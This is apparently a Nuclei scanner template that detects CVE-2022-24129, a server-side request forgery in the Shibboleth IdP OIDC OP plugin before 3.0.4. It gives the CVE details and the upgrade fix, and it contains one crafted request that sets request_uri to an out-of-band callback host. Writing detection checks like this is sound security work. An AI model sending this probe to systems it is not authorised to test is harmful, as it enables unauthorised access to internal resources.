id: CVE-2022-24129

info:
  name: Shibboleth OIDC OP <3.0.4 - Server-Side Request Forgery
  author: 0x_Akoko
  severity: high
  description: The Shibboleth Identity Provider OIDC OP plugin before 3.0.4 is vulnerable to server-side request forgery (SSRF) due to insufficient restriction of the request_uri parameter, which allows attackers to interact with arbitrary third-party HTTP services.
  impact: |
    An attacker can exploit this vulnerability to send crafted requests, potentially leading to unauthorized access to internal resources or information disclosure.
  remediation: |
    Upgrade to Shibboleth OIDC OP version 3.0.4 or later to mitigate the vulnerability.
  reference:
    - https://github.com/sbaresearch/advisories/tree/public/2022/SBA-ADV-20220127-01_Shibboleth_IdP_OIDC_OP_Plugin_SSRF
    - https://shibboleth.atlassian.net/wiki/spaces/IDPPLUGINS/pages/1376878976/OIDC+OP
    - http://shibboleth.net/community/advisories/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24129
    - http://shibboleth.net/community/advisories/secadv_20220131.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 8.2
    cve-id: CVE-2022-24129
    cwe-id: CWE-918
    epss-score: 0.06139
    epss-percentile: 0.92735
    cpe: cpe:2.3:a:shibboleth:oidc_op:*:*:*:*:*:identity_provider:*:*
  metadata:
    max-request: 1
    vendor: shibboleth
    product: oidc_op
    framework: identity_provider
  tags: cve,cve2022,ssrf,oidc,shibboleth,identity_provider,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/idp/profile/oidc/authorize?client_id=demo_rp&request_uri=https://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "ShibbolethIdp"
# digest: 4a0a004730450220703420ece866a31d074309eb6adc208fc8fccab139d0e1910ec24210f7fac984022100ec6f2f4e6a0c5805d52a22a398ffeb582f36122e115623f02053758364fa10f7:922c64590222798bb761d5b6d8e72950